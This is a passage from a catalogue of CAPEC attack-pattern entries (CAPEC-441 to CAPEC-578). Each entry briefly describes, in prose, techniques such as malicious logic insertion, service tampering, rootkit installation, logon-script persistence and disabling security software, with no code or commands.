An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.